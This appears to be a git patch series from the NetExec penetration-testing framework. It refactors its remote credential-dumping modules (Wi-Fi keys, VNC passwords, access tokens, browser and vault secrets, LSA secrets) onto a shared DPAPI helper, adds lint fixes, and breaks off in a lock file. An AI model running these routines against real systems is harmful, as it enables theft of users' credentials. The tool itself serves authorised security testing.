cred["user"] = dpapi_conn.reg_get_key_value("HKLM", path, user) except Exception as e: if "ERROR_FILE_NOT_FOUND" not in str(e): self.context.log.debug(f"Error while RegQueryValue {path}\\{user}: {e}") @@ -230,8 +209,8 @@ def vnc_from_filesystem(self, dploot_conn): ("UltraVNC", "Program Files (x86)\\UltraVNC\\ultravnc.ini"), ) - for vnc_name, file in vncs: - file_content = dploot_conn.readFile(self.share, file) + for vnc_name, filepath in vncs: + file_content = dploot_conn.read_file(share=self.share, path=filepath) if file_content is not None: regex_passwd = [rb"passwd=[0-9A-F]+", rb"passwd2=[0-9A-F]+"] for regex in regex_passwd: @@ -245,33 +224,10 @@ def get_users(self, conn): users = {} userlist_key = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList" - ans = rrp.hOpenLocalMachine(conn._RemoteOperations__rrp) - regHandle = ans["phKey"] - - ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, userlist_key, samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE) - keyHandle = ans["phkResult"] - - sids = [] - - i = 0 - while True: - try: - ans2 = rrp.hBaseRegEnumKey(conn._RemoteOperations__rrp, keyHandle, i) - sids.append(ans2["lpNameOut"]) - except rrp.DCERPCSessionError as e: - if e.get_error_code() == ERROR_NO_MORE_ITEMS: - break - except Exception as e: - self.context.debug(f"Error while listing users from HKU: {e}") - i += 1 - rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle) - for sid in sids: - ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, ntpath.join(userlist_key, sid), samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE) - keyHandle = ans["phkResult"] - _, profile_path = rrp.hBaseRegQueryValue(conn._RemoteOperations__rrp, keyHandle, "ProfileImagePath") - if r"%systemroot%" in profile_path: + for sid in conn.reg_enum_key("HKLM",userlist_key): + profile_path = conn.reg_get_key_value("HKLM",f"{userlist_key}\\{sid}","ProfileImagePath") + if "C:\\Users" not in profile_path: continue - users[ntpath.basename(profile_path.rstrip("\0"))] = sid.rstrip("\0") - rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle) + users[ntpath.basename(profile_path).rstrip("\0")] = sid.rstrip("\0") return users diff --git a/nxc/modules/wam.py b/nxc/modules/wam.py index 7a3f1ecae6..54e6a3bf7a 100644 --- a/nxc/modules/wam.py +++ b/nxc/modules/wam.py @@ -5,50 +5,25 @@ from nxc.helpers.logger import highlight from nxc.helpers.misc import CATEGORY -from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection class NXCModule: name = "wam" description = "Dump access token from Token Broker Cache. More info here https://blog.xpnsec.com/wam-bam/. Module by zblurx" - supported_protocols = ["smb"] + supported_protocols = ["smb", "wmi", "winrm", "mssql"] category = CATEGORY.CREDENTIAL_DUMPING def options(self, context, module_options): """No options available""" def on_admin_login(self, context, connection): - username = connection.username - password = getattr(connection, "password", "") - nthash = getattr(connection, "nthash", "") - - self.pvkbytes = get_domain_backup_key(connection) - - target = Target.create( - domain=connection.domain, - username=username, - password=password, - target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, - lmhash=getattr(connection, "lmhash", ""), - nthash=nthash, - do_kerberos=connection.kerberos, - aesKey=connection.aesKey, - no_pass=True, - use_kcache=getattr(connection, "use_kcache", False), - ) - - conn = upgrade_to_dploot_connection(connection=connection.conn, target=target) - if conn is None: - context.log.debug("Could not upgrade connection") - return - - self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False) + self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False) if len(self.masterkeys) == 0: context.log.fail("No masterkeys looted") return - context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting Token Broker Cache access tokens") + context.log.success("Looting Token Broker Cache access tokens") def token_callback(token): for attrib in token.attribs: @@ -61,7 +36,7 @@ def token_callback(token): context.log.highlight(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}") try: - triage = WamTriage(target=target, conn=conn, masterkeys=self.masterkeys, per_token_callback=token_callback) + triage = WamTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys, per_token_callback=token_callback) triage.triage_wam() except Exception as e: context.log.debug(f"Could not loot access tokens: {e}") diff --git a/nxc/modules/wifi.py b/nxc/modules/wifi.py index e0eb96239e..f26b870bd7 100644 --- a/nxc/modules/wifi.py +++ b/nxc/modules/wifi.py @@ -1,54 +1,30 @@ -from dploot.lib.target import Target from dploot.triage.wifi import WifiTriage from nxc.helpers.logger import highlight from nxc.helpers.misc import CATEGORY -from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, upgrade_to_dploot_connection class NXCModule: name = "wifi" description = "Get key of all wireless interfaces" - supported_protocols = ["smb"] + supported_protocols = ["smb","wmi","winrm","mssql"] category = CATEGORY.CREDENTIAL_DUMPING def options(self, context, module_options): """No options available""" def on_admin_login(self, context, connection): - username = connection.username - password = getattr(connection, "password", "") - nthash = getattr(connection, "nthash", "") - - target = Target.create( - domain=connection.domain, - username=username, - password=password, - target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, - lmhash=getattr(connection, "lmhash", ""), - nthash=nthash, - do_kerberos=connection.kerberos, - aesKey=connection.aesKey, - no_pass=True, - use_kcache=getattr(connection, "use_kcache", False), - ) - - conn = upgrade_to_dploot_connection(connection=connection.conn, target=target) - if conn is None: - context.log.debug("Could not upgrade connection") - return - - masterkeys = collect_masterkeys_from_target(connection, target, conn, user=False) + masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=False, dump_system=True) if len(masterkeys) == 0: context.log.fail("No masterkeys looted") return - context.log.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting Wifi interfaces") + context.log.success("Looting Wifi interfaces") try: # Collect Chrome Based Browser stored secrets - wifi_triage = WifiTriage(target=target, conn=conn, masterkeys=masterkeys) + wifi_triage = WifiTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=masterkeys) wifi_creds = wifi_triage.triage_wifi() except Exception as e: context.log.debug(f"Error while looting wifi: {e}") @@ -62,7 +38,7 @@ def on_admin_login(self, context, connection): context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}") elif wifi_cred.auth.upper() in ["WPA", "WPA2"]: try: - if self.eap_username is not None and self.eap_password is not None: + if wifi_cred.eap_username is not None and wifi_cred.eap_password is not None: context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type} - Identifier: {wifi_cred.eap_username}:{wifi_cred.eap_password}") else: context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type}") From fe758a62708949356474eadb894b984da63ab716 Mon Sep 17 00:00:00 2001 From: zblurx Date: Wed, 22 Jul 2026 20:11:07 +0200 Subject: [PATCH 121/397] ruff check --- nxc/helpers/dpapi.py | 61 +++++++++++++++++---------------- nxc/modules/dpapi_hash.py | 2 +- nxc/modules/mobaxterm.py | 1 - nxc/modules/mremoteng.py | 6 ++-- nxc/modules/rdcman.py | 3 +- nxc/modules/vnc.py | 37 ++++---------------- nxc/modules/wam.py | 2 -- nxc/modules/wifi.py | 3 +- nxc/protocols/mssql.py | 9 ++--- nxc/protocols/mssql/database.py | 6 ++-- nxc/protocols/smb.py | 4 +-- nxc/protocols/smb/database.py | 4 +-- nxc/protocols/winrm.py | 13 +++---- nxc/protocols/winrm/database.py | 4 +-- nxc/protocols/wmi.py | 3 +- nxc/protocols/wmi/database.py | 11 +++--- 16 files changed, 67 insertions(+), 102 deletions(-) diff --git a/nxc/helpers/dpapi.py b/nxc/helpers/dpapi.py index 07feff0118..9ebeb42e3d 100644 --- a/nxc/helpers/dpapi.py +++ b/nxc/helpers/dpapi.py @@ -1,19 +1,18 @@ -from typing import List -from dploot.lib.network import DPLootConnection from dploot.lib.network.smb import SMBTarget, DPLootSMBConnection from dploot.lib.target import Target from dploot.triage.backupkey import BackupkeyTriage from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie from dploot.triage.cng import CngTriage from dploot.triage.credentials import CredentialsTriage -from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file +from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file, Masterkey from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection from dploot.triage.vaults import VaultsTriage from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage from nxc.helpers.logger import highlight + def upgrade_to_dploot_connection(target, context=None): conn = None protocol = target.protocol @@ -49,11 +48,12 @@ def upgrade_to_dploot_connection(target, context=None): except Exception as e: print(e) return None - + return conn + class DPAPITriage: - def __init__(self, context, target:Target): + def __init__(self, context, target: Target): self.context = context self.target = target @@ -63,10 +63,10 @@ def __init__(self, context, target:Target): self.pvkbytes = None if context.args.dpapi is not None: - self.dump_cookies="cookies" in context.args.dpapi + self.dump_cookies = "cookies" in context.args.dpapi - self.system_masterkeys_already_dumped=False - self.users_masterkeys_already_dumped=False + self.system_masterkeys_already_dumped = False + self.users_masterkeys_already_dumped = False self.init_connection() @@ -84,17 +84,16 @@ def get_domain_backup_key(self): return self.pvkbytes pvkbytes = None - if hasattr(self.context.args,"pvk"): - if self.context.args.pvk is not None: - try: - pvkbytes = open(self.context.args.pvk, "rb").read() # noqa: SIM115 - self.context.logger.success(f"Loading domain backupkey from {self.context.args.pvk}") - except Exception as e: - self.context.logger.fail(str(e)) + if hasattr(self.context.args, "pvk") and self.context.args.pvk is not None: + try: + pvkbytes = open(self.context.args.pvk, "rb").read() # noqa: SIM115 + self.context.logger.success(f"Loading domain backupkey from {self.context.args.pvk}") + except Exception as e: + self.context.logger.fail(str(e)) if pvkbytes is None: try: results = self.context.db.get_domain_backupkey(self.context.domain) - except Exception as e: + except Exception: self.context.logger.fail( "Your version of nxcdb is not up to date, run nxcdb and create a new workspace: \ 'workspace create dpapi' then re-run the dpapi option" @@ -131,12 +130,12 @@ def get_domain_backup_key(self): self.pvkbytes = pvkbytes return pvkbytes - def collect_masterkeys_from_target(self, dump_users:True, dump_system:False): + def collect_masterkeys_from_target(self, dump_users: True, dump_system: False): masterkeys = [] plaintexts = {} nthashes = {} - # First, check and handle the mkfile arg + # First, check and handle the mkfile arg if self.context.args.mkfile is not None: try: masterkeys += parse_masterkey_file(self.context.args.mkfile) @@ -154,13 +153,15 @@ def collect_masterkeys_from_target(self, dump_users:True, dump_system:False): nthashes[self.context.username.lower()] = self.context.nthash self.get_domain_backup_key() - + # Now prepare the SYSTEM part - if dump_system and self.context.dpapi_system_key is None: + if (dump_system + and self.context.dpapi_system_key is None + and hasattr(self.context, "lsa") + and callable(self.context.lsa)): # We can use the protocol specific LSA dump if not already dumped. # But first, just making sure the protocol supports LSA dump :) - if hasattr(self.context, 'lsa') and callable(self.context.lsa): - self.context.lsa() + self.context.lsa() # Invoke MasterkeyTriage class try: @@ -192,10 +193,10 @@ def collect_masterkeys_from_target(self, dump_users:True, dump_system:False): self.masterkeys += masterkeys # If we decrypted new masterkeys, print the message if len(masterkeys) > 0: - self.context.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. ") + self.context.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. ") return self.masterkeys - - def triage_credentials(self, masterkeys: List[Masterkey]): + + def triage_credentials(self, masterkeys: list[Masterkey]): # Collect User and Machine Credentials Manager secrets def credential_callback(credential): tag = "CREDENTIAL" @@ -220,7 +221,7 @@ def credential_callback(credential): except Exception as e: self.context.logger.debug(f"Error while looting credentials: {e}") - def triage_chromium(self, masterkeys: List[Masterkey]): + def triage_chromium(self, masterkeys: list[Masterkey]): cng_chromekey = None try: cng_triage = CngTriage(target=self.target, conn=self.conn, masterkeys=masterkeys) @@ -230,7 +231,7 @@ def triage_chromium(self, masterkeys: List[Masterkey]): cng_chromekey = cng_file.decrypted_private_key except Exception as e: self.context.logger.debug(f"Error while getting CNG ChromeKey1: {e}") - + # Collect Chrome Based Browser stored secrets def browser_callback(secret): if isinstance(secret, LoginData): @@ -272,7 +273,7 @@ def browser_callback(secret): except Exception as e: self.context.logger.debug(f"Error while looting browsers: {e}") - def triage_vaults(self, masterkeys: List[Masterkey]): + def triage_vaults(self, masterkeys: list[Masterkey]): def vault_callback(secret): tag = "IEX" if secret.type == "Internet Explorer": @@ -335,7 +336,7 @@ def triage_dpapi(self): self.context.logger.fail("No masterkeys looted") return - self.context.logger.success(f"Looting secrets...") + self.context.logger.success("Looting secrets...") self.triage_credentials(masterkeys) self.triage_chromium(masterkeys) @@ -394,4 +395,4 @@ def sccm_callback(secret): sccm_triage = SCCMTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=sccm_callback) sccm_triage.triage_sccm() except Exception as e: - self.logger.debug(f"Error while looting sccm: {e}") \ No newline at end of file + self.logger.debug(f"Error while looting sccm: {e}") diff --git a/nxc/modules/dpapi_hash.py b/nxc/modules/dpapi_hash.py index 1ee914f3e9..0342ea10ff 100644 --- a/nxc/modules/dpapi_hash.py +++ b/nxc/modules/dpapi_hash.py @@ -6,7 +6,7 @@ class NXCModule: name = "dpapi_hash" description = "Remotely dump Dpapi hash based on masterkeys" - supported_protocols = ["smb","wmi","winrm","mssql"] + supported_protocols = ["smb", "wmi", "winrm", "mssql"] category = CATEGORY.CREDENTIAL_DUMPING def options(self, context, module_options): diff --git a/nxc/modules/mobaxterm.py b/nxc/modules/mobaxterm.py index 21dcc736d1..bc8027f9a1 100644 --- a/nxc/modules/mobaxterm.py +++ b/nxc/modules/mobaxterm.py @@ -1,6 +1,5 @@ from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword -from nxc.helpers.logger import highlight from nxc.helpers.misc import CATEGORY diff --git a/nxc/modules/mremoteng.py b/nxc/modules/mremoteng.py index 4019183ffb..a73a97d273 100644 --- a/nxc/modules/mremoteng.py +++ b/nxc/modules/mremoteng.py @@ -23,7 +23,7 @@ class NXCModule: name = "mremoteng" description = "Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them) " - supported_protocols = ["smb","wmi","winrm","mssql"] + supported_protocols = ["smb", "wmi", "winrm", "mssql"] category = CATEGORY.CREDENTIAL_DUMPING def __init__(self, context=None, module_options=None): @@ -68,9 +68,9 @@ def options(self, context, module_options): def on_admin_login(self, context, connection): self.context = context self.connection = connection - self.share = connection.args.share if hasattr(connection.args,"share") else "C$" + self.share = connection.args.share if hasattr(connection.args, "share") else "C$" self.dploot_conn = connection.dpapi_triage.conn - + users = self.dploot_conn.list_users() # Search for mRemoteNG files diff --git a/nxc/modules/rdcman.py b/nxc/modules/rdcman.py index 22769fa0d2..3cd7a31ff5 100644 --- a/nxc/modules/rdcman.py +++ b/nxc/modules/rdcman.py @@ -1,13 +1,12 @@ from dploot.triage.rdg import RDGTriage, RDGServerProfile -from nxc.helpers.logger import highlight from nxc.helpers.misc import CATEGORY class NXCModule: name = "rdcman" description = "Remotely dump Remote Desktop Connection Manager (sysinternals) credentials" - supported_protocols = ["smb","wmi","winrm","mssql"] + supported_protocols = ["smb", "wmi", "winrm", "mssql"] category = CATEGORY.CREDENTIAL_DUMPING def options(self, context, module_options): diff --git a/nxc/modules/vnc.py b/nxc/modules/vnc.py index 82fd5d136f..0844a98a23 100644 --- a/nxc/modules/vnc.py +++ b/nxc/modules/vnc.py @@ -1,10 +1,7 @@ import ntpath import tempfile -from impacket.dcerpc.v5 import rrp from impacket import winregistry -from impacket.examples.secretsdump import RemoteOperations -from impacket.system_errors import ERROR_NO_MORE_ITEMS from Cryptodome.Cipher import DES from binascii import unhexlify @@ -21,7 +18,7 @@ class NXCModule: name = "vnc" description = "Loot Passwords from VNC server and client configurations" - supported_protocols = ["smb","wmi","winrm"] + supported_protocols = ["smb", "wmi", "winrm"] category = CATEGORY.CREDENTIAL_DUMPING def __init__(self, context=None, module_options=None): @@ -47,7 +44,7 @@ def options(self, context, module_options): def on_admin_login(self, context, connection): self.context = context self.connection = connection - self.share = self.connection.args.share if hasattr(self.connection.args,"share") else "C$" + self.share = self.connection.args.share if hasattr(self.connection.args, "share") else "C$" dploot_conn = connection.dpapi_triage.conn @@ -56,35 +53,13 @@ def on_admin_login(self, context, connection): self.vnc_client_proxyconf_extract(dploot_conn) self.vnc_from_filesystem(dploot_conn) - def reg_query_value(self, dploot_conn, path, key, hku=False): - dploot_conn.reg_get_key_value() - if remote_ops._RemoteOperations__rrp: - ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp) if hku else rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp) - reg_handle = ans["phKey"] - ans = rrp.hBaseRegOpenKey( - remote_ops._RemoteOperations__rrp, - reg_handle, - path, - ) - key_handle = ans["phkResult"] - data = None - try: - _, data = rrp.hBaseRegQueryValue( - remote_ops._RemoteOperations__rrp, - key_handle, - key, - ) - return data - except rrp.DCERPCSessionError as e: - self.context.log.debug(f"Error while querying registry value for {path} {key}: {e}") - def vnc_client_proxyconf_extract(self, dploot_conn): vnc_client_softwares = [ ("RealVNC Viewer 7.x Proxy Conf", "Software\\RealVNC\\vncviewer", ["ProxyUserName", "ProxyPassword", "ProxyServer"]), ] users = self.get_users(dploot_conn) if dploot_conn.target.protocol != "smb": - self.context.log.warn(f"Downloading NTUSER.DAT for offline users, will be slow") + self.context.log.warn("Downloading NTUSER.DAT for offline users, will be slow") for user, sid in users.items(): ntuser_dat_path = ntpath.join(f"Users\\{user}\\NTUSER.DAT") try: @@ -147,7 +122,7 @@ def vnc_from_registry(self, dpapi_conn): for vnc_name, path, user, password, server in vnc_users: cred = {} try: - value = dpapi_conn.reg_get_key_value("HKLM",path, password) + value = dpapi_conn.reg_get_key_value("HKLM", path, password) if value is None: continue value = value.encode().rstrip(b"\x00").decode() @@ -224,8 +199,8 @@ def get_users(self, conn): users = {} userlist_key = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList" - for sid in conn.reg_enum_key("HKLM",userlist_key): - profile_path = conn.reg_get_key_value("HKLM",f"{userlist_key}\\{sid}","ProfileImagePath") + for sid in conn.reg_enum_key("HKLM", userlist_key): + profile_path = conn.reg_get_key_value("HKLM", f"{userlist_key}\\{sid}", "ProfileImagePath") if "C:\\Users" not in profile_path: continue users[ntpath.basename(profile_path).rstrip("\0")] = sid.rstrip("\0") diff --git a/nxc/modules/wam.py b/nxc/modules/wam.py index 54e6a3bf7a..d6a15e57af 100644 --- a/nxc/modules/wam.py +++ b/nxc/modules/wam.py @@ -1,9 +1,7 @@ import re import jwt from dploot.triage.wam import WamTriage -from dploot.lib.target import Target -from nxc.helpers.logger import highlight from nxc.helpers.misc import CATEGORY diff --git a/nxc/modules/wifi.py b/nxc/modules/wifi.py index f26b870bd7..a61dd4dc11 100644 --- a/nxc/modules/wifi.py +++ b/nxc/modules/wifi.py @@ -1,13 +1,12 @@ from dploot.triage.wifi import WifiTriage -from nxc.helpers.logger import highlight from nxc.helpers.misc import CATEGORY class NXCModule: name = "wifi" description = "Get key of all wireless interfaces" - supported_protocols = ["smb","wmi","winrm","mssql"] + supported_protocols = ["smb", "wmi", "winrm", "mssql"] category = CATEGORY.CREDENTIAL_DUMPING def options(self, context, module_options): diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index a50c3539e0..3e88ecc59f 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -624,11 +624,12 @@ def lsa(self): self.logger.display("Dumping LSA secrets") local_operations = LocalOperations(f"{output_filename}.system") boot_key = local_operations.getBootKey() + def lsa_secret_callback(_, secret): self.logger.highlight(secret) if "dpapi_machinekey" in secret: - correl_table = {"dpapi_machinekey":"MachineKey","dpapi_userkey":"UserKey"} - self.dpapi_system_key = {correl_table[k] :binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())} + correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"} + self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())} LSA = LSASecrets( f"{output_filename}.security", boot_key, @@ -647,7 +648,7 @@ def dpapi(self): def dpapi_triage(self) -> DPAPITriage: if self._dpapi_triage is not None: return self._dpapi_triage - + target = Target.create( domain=self.domain, username=self.username, @@ -663,4 +664,4 @@ def dpapi_triage(self) -> DPAPITriage: ) self._dpapi_triage = DPAPITriage(self, target) - return self._dpapi_triage \ No newline at end of file + return self._dpapi_triage diff --git a/nxc/protocols/mssql/database.py b/nxc/protocols/mssql/database.py index 392fc8c8ab..795302a878 100755 --- a/nxc/protocols/mssql/database.py +++ b/nxc/protocols/mssql/database.py @@ -424,13 +424,13 @@ def get_domain_backupkey(self, domain: str | None = None): def is_dpapi_secret_valid(self, dpapi_secret_id): """ - Check if this group ID is valid. + Check if this DPAPI secret ID is valid. :dpapi_secret_id is a primary id """ q = select(self.DpapiSecretsTable).filter(func.lower(self.DpapiSecretsTable.c.id) == dpapi_secret_id) results = self.db_execute(q).first() valid = results is not None - nxc_logger.debug(f"is_dpapi_secret_valid(groupID={dpapi_secret_id}) => {valid}") + nxc_logger.debug(f"is_dpapi_secret_valid(dpapi_secret_id={dpapi_secret_id}) => {valid}") return valid def add_dpapi_secrets( @@ -493,4 +493,4 @@ def get_dpapi_secrets( results = self.db_execute(q).all() nxc_logger.debug(f"get_dpapi_secrets(filter_term={filter_term}, host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, url={url}) => {results}") - return results \ No newline at end of file + return results diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index c9fe1ee6a3..ffcb38a294 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -2191,8 +2191,8 @@ def add_lsa_secret(secret): passwd = binascii.hexlify(ntlm_hash.digest()).decode("utf-8") self.logger.highlight(f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}") if "dpapi_machinekey" in secret: - correl_table = {"dpapi_machinekey":"MachineKey","dpapi_userkey":"UserKey"} - self.dpapi_system_key = {correl_table[k] :binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())} + correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"} + self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())} add_lsa_secret.secrets = 0 diff --git a/nxc/protocols/smb/database.py b/nxc/protocols/smb/database.py index 1225bbd612..373c0cd38f 100755 --- a/nxc/protocols/smb/database.py +++ b/nxc/protocols/smb/database.py @@ -725,13 +725,13 @@ def get_domain_backupkey(self, domain: str | None = None): def is_dpapi_secret_valid(self, dpapi_secret_id): """ - Check if this group ID is valid. + Check if this DPAPI secret ID is valid. :dpapi_secret_id is a primary id """ q = select(self.DpapiSecretsTable).filter(func.lower(self.DpapiSecretsTable.c.id) == dpapi_secret_id) results = self.db_execute(q).first() valid = results is not None - nxc_logger.debug(f"is_dpapi_secret_valid(groupID={dpapi_secret_id}) => {valid}") + nxc_logger.debug(f"is_dpapi_secret_valid(dpapi_secret_id={dpapi_secret_id}) => {valid}") return valid def add_dpapi_secrets( diff --git a/nxc/protocols/winrm.py b/nxc/protocols/winrm.py index c037e5b013..81a88371b8 100644 --- a/nxc/protocols/winrm.py +++ b/nxc/protocols/winrm.py @@ -1,6 +1,5 @@ import os import base64 -import traceback import binascii import requests import urllib3 @@ -14,19 +13,15 @@ from termcolor import colored from dploot.lib.network.winrm import WINRMTarget as Target -from impacket.dpapi import MasterKeyFile, MasterKey, CredHist, DomainKey, CredentialFile, deriveKeysFromUser, DPAPI_BLOB, CREDENTIAL_BLOB from impacket.examples.secretsdump import LocalOperations, LSASecrets, SAMHashes -from impacket.uuid import bin_to_string from nxc.config import process_secret, host_info_colors from nxc.connection import connection from nxc.helpers.bloodhound import add_user_bh from nxc.helpers.dpapi import DPAPITriage -from nxc.helpers.logger import highlight from nxc.helpers.misc import gen_random_string from nxc.helpers.negotiate_parser import parse_challenge from nxc.logger import NXCAdapter -from nxc.paths import TMP_PATH urllib3.disable_warnings() @@ -401,12 +396,12 @@ def lsa(self): self.logger.display("Dumping LSA secrets") local_operations = LocalOperations(f"{output_filename}.system") boot_key = local_operations.getBootKey() - + def lsa_secret_callback(_, secret): self.logger.highlight(secret) if "dpapi_machinekey" in secret: - correl_table = {"dpapi_machinekey":"MachineKey","dpapi_userkey":"UserKey"} - self.dpapi_system_key = {correl_table[k] :binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())} + correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"} + self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())} LSA = LSASecrets( f"{output_filename}.security", boot_key, @@ -436,4 +431,4 @@ def dpapi_triage(self) -> DPAPITriage: ) self._dpapi_triage = DPAPITriage(self, target) - return self._dpapi_triage \ No newline at end of file + return self._dpapi_triage diff --git a/nxc/protocols/winrm/database.py b/nxc/protocols/winrm/database.py index cae5808477..87c992fe78 100644 --- a/nxc/protocols/winrm/database.py +++ b/nxc/protocols/winrm/database.py @@ -452,13 +452,13 @@ def get_domain_backupkey(self, domain: str | None = None): def is_dpapi_secret_valid(self, dpapi_secret_id): """ - Check if this group ID is valid. + Check if this DPAPI secret ID is valid. :dpapi_secret_id is a primary id """ q = select(self.DpapiSecretsTable).filter(func.lower(self.DpapiSecretsTable.c.id) == dpapi_secret_id) results = self.db_execute(q).first() valid = results is not None - nxc_logger.debug(f"is_dpapi_secret_valid(groupID={dpapi_secret_id}) => {valid}") + nxc_logger.debug(f"is_dpapi_secret_valid(dpapi_secret_id={dpapi_secret_id}) => {valid}") return valid def add_dpapi_secrets( diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index 8aad815ba1..6b08e419db 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -5,7 +5,6 @@ from nxc.config import process_secret from nxc.connection import connection, dcom_FirewallChecker, requires_admin from nxc.logger import NXCAdapter -from nxc.helpers.logger import highlight from nxc.protocols.wmi import wmiexec, wmiexec_event from nxc.helpers.dpapi import DPAPITriage @@ -518,4 +517,4 @@ def dpapi_triage(self) -> DPAPITriage: ) self._dpapi_triage = DPAPITriage(self, target) - return self._dpapi_triage \ No newline at end of file + return self._dpapi_triage diff --git a/nxc/protocols/wmi/database.py b/nxc/protocols/wmi/database.py index b3da4a63ea..c8c97e4d8b 100644 --- a/nxc/protocols/wmi/database.py +++ b/nxc/protocols/wmi/database.py @@ -1,6 +1,6 @@ import base64 -from sqlalchemy import Boolean, Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, func, select, delete +from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, func, select, delete from sqlalchemy.dialects.sqlite import Insert # used for upsert from sqlalchemy.orm import declarative_base from nxc.database import BaseDB @@ -126,7 +126,7 @@ def add_host( if updated_ids: nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}") return updated_ids - + def add_credential(self, credtype, domain, username, password, pillaged_from=None): """Check if this credential has already been added to the database, if not add it in.""" credentials = [] @@ -166,7 +166,6 @@ def add_credential(self, credtype, domain, username, password, pillaged_from=Non cred_data["username"] = username if password is not None: cred_data["password"] = password - groups.append({"userid": cred_data["id"], "groupid": group_id}) if pillaged_from is not None: cred_data["pillaged_from"] = pillaged_from # only add cred to be updated if it has changed @@ -266,13 +265,13 @@ def get_domain_backupkey(self, domain: str | None = None): def is_dpapi_secret_valid(self, dpapi_secret_id): """ - Check if this group ID is valid. + Check if this DPAPI secret ID is valid. :dpapi_secret_id is a primary id """ q = select(self.DpapiSecretsTable).filter(func.lower(self.DpapiSecretsTable.c.id) == dpapi_secret_id) results = self.db_execute(q).first() valid = results is not None - nxc_logger.debug(f"is_dpapi_secret_valid(groupID={dpapi_secret_id}) => {valid}") + nxc_logger.debug(f"is_dpapi_secret_valid(dpapi_secret_id={dpapi_secret_id}) => {valid}") return valid def add_dpapi_secrets( @@ -335,4 +334,4 @@ def get_dpapi_secrets( results = self.db_execute(q).all() nxc_logger.debug(f"get_dpapi_secrets(filter_term={filter_term}, host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, url={url}) => {results}") - return results \ No newline at end of file + return results From 6b509c402a33e7e691d65bfd6615391a4d18fb1c Mon Sep 17 00:00:00 2001 From: zblurx Date: Wed, 22 Jul 2026 20:14:26 +0200 Subject: [PATCH 122/397] update pyproject.toml --- poetry.lock | 23 ++++++++++++++--------- pyproject.toml | 2 +- 2 files changed, 15 insertions(+), 10 deletions(-) diff --git a/poetry.lock b/poetry.lock index 29e1f23207..e89eec2a08 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1,4 +1,4 @@ -# This file is automatically @generated by Poetry 2.1.3 and should not be changed by hand. +# This file is automatically @generated by Poetry 2.4.1 and should not be changed by hand. [[package]] name = "aardwolf" @@ -889,21 +889,26 @@ wmi = ["wmi (>=1.5.1)"] [[package]] name = "dploot" -version = "3.2.2" +version = "4.0.0" description = "DPAPI looting remotely in Python" optional = false -python-versions = "*" +python-versions = ">=3.10,<4.0" groups = ["main"] -files = [ - {file = "dploot-3.2.2-py2.py3-none-any.whl", hash = 